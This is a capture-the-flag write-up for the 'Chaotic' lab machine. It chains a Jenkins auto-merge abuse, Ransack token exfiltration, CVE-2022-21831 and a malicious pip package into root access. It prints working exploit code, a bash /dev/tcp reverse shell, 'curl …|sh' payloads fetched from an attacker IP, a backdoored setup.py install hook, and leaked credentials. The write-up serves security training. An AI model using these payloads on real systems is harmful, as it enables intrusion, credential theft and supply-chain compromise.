Post

Chaotic

Challenge

Synopsis

This challenge starts with enumerating and find three HTTPS websites of a ChaoticCMS, GOGs instance, and Jenkins instance. The GOGs instance allows registration, forking, and features a automated git merging via Jenkins that can be abused to obtain code-execution and lead to the compromise of GOGs credentials. These credentials then disclose the source-code of the ChaoticCMS that is vulnerable to user password resets and Ransack data exfiltration. The authenticated session, allows the user to add/edit/preview posts. The preview logic allows us to exploit CVE-2022-21831 to obtain code-execution as malenia on the main host. These then exists a watchnotify cronjob that is executing under the context of another system administrator called horax that we can overwrite to become horax. Lastly, there is a sudo privilege that allows the updating of the python requirements of a SecureVault repository, which is leveraging flask. We can create a malicious flask repository in the form of an update and host the payload on the localhost IPv6 interface, since the update server is only on IPv4 and IPv6 has priority, to obtain root-level code-execution.

Recon

Connect to the HTB VPN via sudo openvpn <vpntoken>.ovpn

Running an nmap scan on the target, identify a HTTPS website running, and SSH service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Nmap scan report for chaotic.htb (10.129.252.164)
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://chaotic.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_  http/1.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: ChaosCMS
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-22T13:42:29
| Not valid after:  2024-06-21T13:42:29
| MD5:   5134:0a25:bf27:0584:94c1:21d7:4c13:0b2c
|_SHA-1: f041:ab50:a66f:a53c:62ea:1239:91da:06f7:94a6:f81b
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add chaotic.htb to your /etc/hosts file for local DNS resolution.

Browsing the website of https://chaotic.htb we identify a blog page that when identified with Appalyzer, it is build on Ruby on Rails web framework as shown below: chaotic_1

Going to /admin/ lead us to ChaosCMS as shown below. We tried default credentials such as admin:admin. However, all steps lead nowhere. https://chaotic.htb/admin/sign_in https://chaotic.htb/admin/forgot_password chaotic_2

We couldn’t get much on this website, so we turn to virtual host fuzzing using ffuf and it identifies two additional websites the git.chaotic.htb and jenkins.chaotic.htb website!

1
2
3
4
5
6
7
$ ffuf -r -ac -mc all -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.chaotic.htb' -u  https://chaotic.htb -k

[Status: 200, Size: 8007, Words: 454, Lines: 259, Duration: 34ms]
    * FUZZ: git

[Status: 403, Size: 541, Words: 306, Lines: 8, Duration: 85ms]
    * FUZZ: jenkins

The Jenkins site at https://jenkins.chaotic.htb leads to a login page: chaotic_3

We can enumerate the version using Metasploit and it was determined to be running Jenkins v2.406, which has no current vulnerabilities identified and default credentials were not working.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msfconsole -q
use auxiliary/scanner/http/jenkins_enum
set RHOSTS jenkins.chatoic.htb
set RPORT 443
set SSL true
set TARGETURI /
set VHOST jenkins.chaotic.htb
run
[+] 10.129.252.164:443    - Jenkins Version 2.406
[*] /script restricted (403)
[*] /view/All/newJob restricted (403)
[*] /asynchPeople/ restricted (403)
[*] /systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The Gogs website at https://git.chaotic.htb/ leads to a home page advertising what Gogs is: chaotic_4

We can register a new user account at https://git.chaotic.htb/user/sign_up. For this i used test@test.com, with test:test for the username/password respectively. chaotic_5

We can then sign-in at https://git.chaotic.htb/user/login. chaotic_6

We can enumerate all the users on the Gogs instance at https://git.chaotic.htb/explore/users. chaotic_7

  • malenia, malenia@chaotic.htb
  • john John bucker john@chaotic.htb

We can enumerate the publicly accessible repositories and found a single one called “diagnoweb” at https://git.chaotic.htb/Chaotic/diagnoweb “Diagnoweb is an internal status check Ruby application designed to monitor the health and status of various components within a system. It provides a centralized dashboard where administrators and developers can easily track the performance and availability of critical services.” We can fork this instance and clone it back to our machine.

chaotic_8

1
2
3
GIT_SSL_NO_VERIFY=true git clone 'https://test:test@git.chaotic.htb/test/diagnoweb' diagnoweb-test
Cloning into 'diagnoweb'...
...[snip]...

Investigating the repository, we find 4 commits, one being a merge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
git log
commit 3ff9f0c75fdb23feaaf70804964a8a2eb04b7f82 (HEAD -> master, origin/master, origin/HEAD)
Author: John bucker <john@chaotic.htb>
Date:   Thu Jul 6 23:02:36 2023 +0000

    UI/UX fixed

commit 280489d0e530f65b308bc74acb3f59c17d29e4b1
Merge: 2fc4129 ae63005
Author: malenia <malenia@chaotic.htb>
Date:   Thu Jul 6 22:56:21 2023 +0000

    Merge branch 'master' of john/diagnoweb into master

commit ae63005d588b7289dde994967e1c4f61f1d8cf08
Author: John bucker <john@chaotic.htb>
Date:   Thu Jul 6 22:52:31 2023 +0000

    Fixed title

commit 2fc412996da45fb40ea5d58c904bf60d13fa66ea
Author: malenia <malenia@chaotic.htb>
Date:   Thu Jul 6 22:50:43 2023 +0000

    Initial

When browsing the pull/merge in Gogs, we see a comment by malenia:

1
2
3
malenia commented 1 week ago
Owner
Changes created by the intern have been auto-merged via Jenkins. Closing the pull request

There is a ./Jenkinsfile file in the repository detailing a pipeline of an automerge process going on in this repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pipeline {
    agent any
    stages {
        stage('pr_check') {
            steps {
                withCredentials([
                    usernamePassword(credentialsId: '1', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
                    ]) {
                        sh '''
                            rm -rf diagnoweb
                            git clone "http://$USERNAME:$PASSWORD@172.18.0.2:3000/Chaotic/diagnoweb"
                            cd diagnoweb
                            git fetch origin pull/$number/head:test-branch
                            Result=`ruby test/automerge.rb "$(git diff origin/master test-branch)"`

                            if $Result;
                            then
                                git config --global user.email "malenia@chaotic.htb"
                                git config --global user.name "malenia"
                                git checkout master
                                git merge test-branch
                                git push origin master
                            else
                                echo 'skipping...';
                            fi
							cd ..
							rm -rf diagnoweb
                        '''
                    }
            }
        }

        stage('run test') {
            steps {
                withCredentials([
                    usernamePassword(credentialsId: '1', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
                    ]) {
                        sh '''
                            git clone "http://$USERNAME:$PASSWORD@172.18.0.2:3000/Chaotic/diagnoweb"
                            cd diagnoweb
                            rails test:system
                           '''
                       }
             }
        }
    }
}

We also find a ruby script that is handling the checking of available pull requests at ./diagnoweb/test/automerge.rb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
require 'git_diff_parser'

def check_pull_request
    static_files_path_regex = %r{app\/(?:javascript|assets\/stylesheets|views)\/[-@.\/#&+\w\s]*\.(css|js|erb)}
    not_allowed_files = %r{Jenkinsfile|test\/automerge.rb}

    return false if ARGV[0].match(not_allowed_files)

    git_diff = GitDiffParser.parse(ARGV[0])

    return false unless git_diff.files.count == 1

    return false unless git_diff.files.first.match(static_files_path_regex)

    return true
end

if ARGV.length < 1
    puts "No diff data provided"
    exit
end

puts check_pull_request()

Jenkins Pipeline Merge - Remote Command Execution

After reviewing all parts of the puzzle, we could attempt to upload a ruby script that would then be automatically merged to the master copy if we follow the following conditions:

  1. Write to the test/ directory that matches the unanchored regex in the automerge tester: static_files_path_regex = %r{app\/(?:javascript|assets\/stylesheets|views)\/[-@.\/#&+\w\s]*\.(css|js|erb)}
  2. Only add a single file to be merged: return false unless git_diff.files.count == 1

We create the required directories, add a ruby->bash reverse shell payload and push to our forked repository:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cd diagnoweb-test
$ mkdir -p test/system/app/views/a.erb/
$ echo -n "system(\"bash -c 'exec 69<>/dev/tcp/10.10.14.79/4444; exec nohup bash -i 1>&69 2>&69 0<&69 &';\")" > test/system/app/views/a.erb/rev_test.rb
$ git config --local user.name 'test'
$ git config --local user.email 'test@chaotic.htb'
$ git add -A
$ git commit -a -m 'Test'
GIT_SSL_NO_VERIFY=true git push
...[snip]...
Writing objects: 100% (3/3), 288 bytes | 288.00 KiB/s, done.
Total 3 (delta 1), reused 1 (delta 0), pack-reused 0
To https://git.chaotic.htb/test/diagnoweb
   3ff9f0c..5b03530  master -> master

Create the pull request via Gogs at https://git.chaotic.htb/Chaotic/diagnoweb/compare/master…test:master: chaotic_9

chaotic_10

In about a minute, we obtain a reverse shell on the Jenkins container:

1
2
3
4
5
6
7
8
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.202:52748.
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
root@283ed5e45dc7:/var/jenkins_home/workspace/Diagnoweb automerge/diagnoweb#

If we enumerate the environmental variables, we find that the USERNAME/PASSWORD field for the automatic merge is disclosed:

1
2
3
4
$ env
...[snip]...
USERNAME=malenia
PASSWORD=M!quell400$

Lets use these newly obtained credentials to see if malenia has any additional private repositories hosted on Gogs at https://git.chaotic.htb/user/login?redirect_to= chaotic_11

ChaosCMS - Ransack Authentication Reset

We find another repository called ChaosCMS at https://git.chaotic.htb/Chaotic/ChaosCMS, the same one we came across on the main website when going to /admin at https://chaotic.htb/admin/sign_in. We again, clone this back to our system for further analysis.

chaotic_12

1
GIT_SSL_NO_VERIFY=true git clone 'https://malenia:M!quell400$@git.chaotic.htb/Chaotic/ChaosCMS'

We tried the credentials of malenia:M!quell400$ at https://chaotic.htb/admin/sign_in however they sadly did not work.

Analyzing the ChaosCMS source-code, the password reset tokens at app/controllers/password_reset_controller.rb is only 9 random alpha-numeric characters and potentially bruteforceable, given we know the username of malenia.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class PasswordResetController < ApplicationController
    add_flash_types :msg, :success

    def index
    end

    def create
        @user = User.find_by(username: user_params[:username])

        if @user
            random_token = SecureRandom.alphanumeric(9)
            @user.update(reset_token: random_token)
        end

        flash.now[:msg] = 'A password reset link is sent on your mail!'
        render :index
    end

    def edit
        @token = params[:token]
    end

    def update
        @user = User.find_by(reset_token: user_params[:token])

        if @user
            @user.update(password: user_params[:password], reset_token: '')
            flash.now[:success] = "Password have been changed! Please login"
            render :edit
        else
            flash.now[:msg] = "You don't have access!"
            render :index
        end

    end

    private
    def user_params
        params.required(:user).permit(:username, :password, :token)
    end
end

Analyzing the ChaosCMS source-code, we find a develpment.log that discloses additional logging regarding the reset_password/reset_token parameters:

1
2
3
4
5
6
7
8
9
10
Started GET "/admin/reset_password?reset_token=[FILTERED]" for 192.168.29.214 at 2023-06-21 12:47:14 +0530
Cannot render console from 192.168.29.214! Allowed networks: 127.0.0.0/127.255.255.255, ::1
Processing by PasswordResetController#edit as HTML
  Parameters: {"reset_token"=>"[FILTERED]"}
  Rendering layout layouts/application.html.erb
  Rendering password_reset/edit.html.erb within layouts/application
  Rendered shared/_nav.html.erb (Duration: 0.6ms | Allocations: 487)
  Rendered password_reset/edit.html.erb within layouts/application (Duration: 3.5ms | Allocations: 3452)
  Rendered layout layouts/application.html.erb (Duration: 6.7ms | Allocations: 6388)
Completed 200 OK in 9ms (Views: 8.1ms | Allocations: 7709)

When browsing the ChaosCMS main site, there is a search bar that when searching for the word test gets processed as: ` https://chaotic.htb/?q%5Btitle_cont%5D=test&commit=Search that looks interesting. Looking for this in the develpment.log appears to also show how it is processed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Started GET "/?q%5Btitle_cont%5D=f&commit=Search" for 192.168.29.214 at 2023-06-05 16:09:45 +0530
Cannot render console from 192.168.29.214! Allowed networks: 127.0.0.0/127.255.255.255, ::1
Processing by HomeController#index as HTML
  Parameters: {"q"=>{"title_cont"=>"f"}, "commit"=>"Search"}
  User Load (0.1ms)  SELECT "users".* FROM "users" WHERE "users"."id" = ? LIMIT ?  ["id", 1](%22id%22,%201)
  ↳ app/controllers/application_controller.rb:6:in `current_user'
  Rendering layout layouts/application.html.erb
  Rendering home/index.html.erb within layouts/application
  Post Load (0.2ms)  SELECT DISTINCT "posts".* FROM "posts" WHERE "posts"."title" LIKE '%f%'
  ↳ app/views/home/index.html.erb:2
  Rendered home/index.html.erb within layouts/application (Duration: 4.5ms | Allocations: 3549)
  CACHE User Load (0.0ms)  SELECT "users".* FROM "users" WHERE "users"."id" = ? LIMIT ?  ["id", 1](%22id%22,%201)
  ↳ app/controllers/application_controller.rb:6:in `current_user'
  Rendered layout layouts/application.html.erb (Duration: 16.5ms | Allocations: 18813)
Completed 200 OK in 29ms (Views: 17.6ms | ActiveRecord: 0.8ms | Allocations: 24987)

The endpoint is processed by the HomeController which maps to app/controllers/home_controller.rb and processed by “ransack”. “Ransack gem is a very powerful and feature-rich gem used widely by Rails community to implement advanced search capability in a Ruby on Rails application. You can create simple as well as advanced search forms for with this Rails search gem.”

1
2
3
4
5
6
7
8
9
10
class HomeController < ApplicationController
    def index
        if !current_user
            redirect_to '/admin/sign_in'
        end

        @q = Post.ransack(params[:q])
        @posts = @q.result(distinct: true)
    end
end

Looking into ransack, we find a data exfiltration proof-of-concept exploitation article that could potentially be leveraged to exfiltrate the password reset token!

Firstly we send a password reset request with the username malenia as shown below: chaotic_13

The following python script was then created to automate this bruteforcing of the possible 512 reset tokens via permutations due to case-sensitivity.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3

# Imports
import logging
import requests
import string
import urllib3


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def try_token(token):
    try:
        print(f'Trying "{token}" ...')
        res = requests.get(
            'https://chaotic.htb/?q[title_start]=Uniting&commit=Search&q[user_reset_token_start]=' + token,
            verify=False)
        if len(res.text) > 6000:
            print(f'so far we got "{token}"')
            return True
        else:
            return False
    except Exception as e:
        logging.error('Failed: %s', str(e))


def recover():
    recovered = ''
    for i in range(20):
        got_it = False
        for letter in string.ascii_uppercase + string.digits + string.ascii_lowercase:
            if try_token(recovered + letter):
                recovered += letter
                got_it = True
                break
        if not got_it:
            print('did not get another letter, is that it?')
            break
    return recovered


def permute(inp):
    n = len(inp)

    # Number of permutations is 2^n
    mx = 1 << n

    # Converting string to lower case
    inp = inp.lower()

    # Using all subsequences and permuting them
    for i in range(mx):
        # If j-th bit is set, we convert it to upper case
        combination = [k for k in inp]
        for j in range(n):
            if (((i >> j) & 1) == 1):
                combination[j] = inp[j].upper()

        temp = ""
        # Printing current combination
        for i in combination:
            temp += i
        print(temp, )

# Recover match
data = recover()

# Figure out case
print(permute(data))
1
2
3
4
5
6
7
8
9
10
11
12
13
python3 ransack_brute_resettoken.py
Trying "A" ...
Trying "B" ...
Trying "C" ...
Trying "D" ...
Trying "E" ...
so far we got "E"
Trying "EA" ...
Trying "EB" ...
...[snip]...
did not get another letter, is that it?
eqqoyeezq
...[snip]...

Then feeding this into Burp Intruder, we can put all the possible password reset tokens in the following request where Password1! is the new password and §§ will be our injection point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /admin/reset_password HTTP/1.1
Host: chaotic.htb
Cookie: _chaos_cms_session=NJ9j5RzTAs4%2F%2F%2BXHI0XajMLJdj4G4DojwKtXg1SoELocl0inWkL6zP73Q7a4%2B0y0YLgduOA%2BWw0Fv11mxtSCf0geWVwc7TICI0nm40RFzLsiYPTszd1jbUXFnTV78ImN3jicUl1da5OwyxaOH3qfxQmQNww5snvV4dOXyCGPxgH1XqDBsiXrm1KqS%2FAFJhVpO3BWmwKWU0IVqcOhTjul3PK2Q0yDRyJCOmWzMBKz1%2BGJbbeF5ykgLw5IgwKwy4lm7lzI7mTUlBT%2FzPX5kBjHbPza1zwTIl%2FdrUo%3D--ksI48WVxMEaReBKS--Z3S%2FzCtUajOtUaBakXZRMQ%3D%3D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://chaotic.htb/admin/forgot_password
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
Origin: https://chaotic.htb
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

authenticity_token=kLWra3OWfIR_S45m3c4suEwt_COmbzUnCgWPXzpNZR9fGtTH0Hu4YTu1A3Ork-TKWSOpf8g1P6EDJiao5bexaw&user%5Bpassword%5D=Password1!&user%5Btoken%5D=§§&commit=Reset+Password

chaotic_14

Parsing all the tokens, we use inverse matching expression of access matching the negative result of You don't have access to find a successful request: chaotic_15

We then login and access the application as malenia with the password Password1!. The administration page is shown at https://chaotic.htb/admin/: chaotic_16

We can create new posts at https://chaotic.htb/posts/new: chaotic_17

We can edit existing posts at https://chaotic.htb/posts/1/edit: chaotic_18

We can preview images at https://chaotic.htb/posts/preview?id=7&t=resize&v=1000: chaotic_19

ActiveStorage CVE-2022-21831

Looking into the preview image logic, the develpment.log indicates activestorage-7.0.5. We can find a CVE-2022-21831 https://blog.convisoappsec.com/en/cve-2022-21831-overview-of-the-security-issues-we-found-in-railss-image-processing-api/ which is a code injection vulnerability that exists in the Active Storage >= v5.2.0 that could allow an attacker to execute code via image_processing arguments.

We can obtain a reverse shell via a reverse-shell as a service payload (such as https://reverse-shell.sh/) and hosting it at index.html from a quick Python webserver:

1
$ python3 -m http.server 80

We can trigger the exploitation of this CVE-2022-21831 via the following request from our authenticated browser session: https://chaotic.htb/posts/preview?id=7&t=eval&v=system(%22curl+http://10.10.14.79|sh%22)

Reverse shell (malenia):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.202:58382.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
malenia@chaotic:~/ChaosCMS$ id
id
uid=1000(malenia) gid=1000(malenia) groups=1000(malenia),1002(systemAdministrators)
malenia@chaotic:~$ ls -la
total 44
drwxr-xr-x  9 malenia malenia 4096 Jul 18 09:08 .
drwxr-xr-x  4 root    root    4096 Jul  7 23:46 ..
lrwxrwxrwx  1 malenia malenia    9 Jul  7 23:28 .bash_history -> /dev/null
drwxrwxr-x  3 malenia malenia 4096 Jul  7 23:46 .bundle
drwx------  2 malenia malenia 4096 Jul  8 00:03 .cache
drwxrwxr-x 14 malenia malenia 4096 Jul  7 23:46 ChaosCMS
drwx------  3 malenia malenia 4096 Jul 18 09:09 .gnupg
drwxrwxr-x  3 malenia malenia 4096 Jul  7 23:46 .local
drwxrwxr-x  4 malenia malenia 4096 Jul  7 23:46 .passenger
-rw-rw-r--  1 malenia malenia   66 Jun 22 04:23 .selected_editor
drwx------  2 malenia malenia 4096 Jul 18 09:06 .ssh
-rw-r-----  1 malenia malenia   39 Jul  7 22:27 user.txt
malenia@chaotic:~$ cat user.txt
HTB{C1_CD_eXP01T4T10n_15_C00l_r1ghT!!}

User Flag: HTB{C1_CD_eXP01T4T10n_15_C00l_r1ghT!!}

WatchNotify Cronjob Privilege Escalation

Running pspy64 on the target, we were able to identify a cronjob process running ./watchnotify as the UID=1001 horax:

1
2
3
4
5
6
7
8
9
CMD: UID=1001  PID=62423  | ./watchnotify
CMD: UID=1001  PID=62424  | ss -lnt
CMD: UID=1001  PID=62425  | sh -c ss -lnt | grep 5000
CMD: UID=1001  PID=62426  | sh -c ss -lnt | grep 8080
CMD: UID=1001  PID=62427  | sh -c ss -lnt | grep 8080
CMD: UID=1001  PID=62428  | grep 8080
CMD: UID=1001  PID=62429  | sh -c ss -lnt | grep 80
CMD: UID=1001  PID=62430  | sh -c ss -lnt | grep 80
CMD: UID=1001  PID=62431  | grep 80

We have full control in that directory, as we belong to the systemAdministrators group as shown in linpeas.sh:

1
2
3
4
5
  Group systemAdministrators:
/opt/watchnotify
/opt/watchnotify/watchnotify
/opt/watchnotify/lib
/opt/watchnotify/lib/libsendmail.so

We can replace watchnotify with the same reverse-shell as a service payload as before:

1
$ wget 10.10.14.79 -O /opt/watchnotify/watchnotify

Reverse shell (horax)

1
2
3
4
5
6
7
8
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.202:41072.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
horax@chaotic:/opt/watchnotify$

Malicious Python Update Package

Enumerating the sudo permissions of the horax user we were able to identify a way to update the current python requirements of the SecureVault python program and the service running it:

1
2
3
4
5
6
7
horax@chaotic:~$ sudo -l
Matching Defaults entries for horax on chaotic:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User horax may run the following commands on chaotic:
    (root) NOPASSWD: /bin/systemctl restart securevault
    (root) NOPASSWD: /usr/bin/pip3 install -U -r /opt/SecureVault/requirements.txt
1
2
3
4
5
6
7
8
9
10
horax@chaotic:/opt/SecureVault$ systemctl status securevault
● securevault.service - A flask backup management utility
     Loaded: loaded (/lib/systemd/system/securevault.service; enabled; vendor preset: enabled)
     Active: active (running) since Tue 2023-07-18 09:29:08 UTC; 3min 16s ago
   Main PID: 63351 (python3)
      Tasks: 1 (limit: 2220)
     Memory: 20.8M
        CPU: 146ms
     CGroup: /system.slice/securevault.service
             └─63351 /usr/bin/python3 /opt/SecureVault/run.py

When running the /usr/bin/pip3 install -U -r /opt/SecureVault/requirements.txt command it reaches out to localhost:9999 for updates. However, this update service is only running on IPv4 as shown below:

1
2
3
4
5
6
7
8
horax@chaotic:/opt/SecureVault$ netstat -panut
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      -

horax@chaotic:/opt/SecureVault$ nc localhost 9999 -zv
nc: connect to localhost (::1) port 9999 (tcp) failed: Connection refused
Connection to localhost (127.0.0.1) 9999 port [tcp/*] succeeded!

Lets quickly build a malicious flask python package, and service it on IPv6 localhost (::1) on port 9999 in another shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
mkdir flask
cd flask
touch README.md
mkdir flask
touch flask/__init__.py
touch setup.cfg
bash -c 'cat << "EOF" > setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    os.system("curl 10.10.14.79|sh")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "flask",
    version = "2.4.0",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        "install" : RunInstallCommand,
        "egg_info": RunEggInfoCommand
    },
)
EOF'
python3 setup.py sdist
1
2
3
4
5
6
7
horax@chaotic:~$ mkdir -p ./simple/flask/
horax@chaotic:~$ wget 10.10.14.79:8000/flask-3.0.tar.gz -O ./simple/flask/
horax@chaotic:~$ chmod -R 777 /tmp/simple
horax@chaotic:~$ python3 -m http.server --bind ::1 9999
Serving HTTP on ::1 port 9999 ([http://[::1]:9999/](http://[::1]:9999/)) ...
::1 - - [18/Jul/2023 10:03:21] "GET /simple/flask/ HTTP/1.1" 200 -
::1 - - [18/Jul/2023 10:03:21] "GET /simple/flask/flask-3.0.tar.gz HTTP/1.1" 200 -

We trigger the update process and obtain a root reverse shell:

1
2
3
4
5
6
7
8
9
horax@chaotic:~$ sudo /usr/bin/pip3 install -U -r /opt/SecureVault/requirements.txt
Looking in indexes: http://admin:****@localhost:9999/simple/
Requirement already satisfied: flask in /usr/local/lib/python3.10/dist-packages (from -r /opt/SecureVault/requirements.txt (line 1)) (2.4.0)
DEPRECATION: The HTML index page being used (http://localhost:9999/simple/flask/) is not a proper HTML 5 document. This is in violation of PEP 503 which requires these pages to be well-formed HTML 5 documents. Please reach out to the owners of this index page, and ask them to update this index page to a valid HTML 5 document. pip 22.2 will enforce this behaviour change. Discussion can be found at https://github.com/pypa/pip/issues/10825
Collecting flask
  Downloading http://localhost:9999/simple/flask/flask-3.0.tar.gz (1.1 kB)
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: flask
  Building wheel for flask (setup.py) ... -
1
2
3
4
5
6
7
8
9
$ nc -nlvp 5555
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.129.251.202:60700.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
HTB{D3P3nd3ncy_C0nfus1on_4r3_5C4ry!!}

Root Flag: HTB{D3P3nd3ncy_C0nfus1on_4r3_5C4ry!!}

This post is licensed under CC BY 4.0 by the author.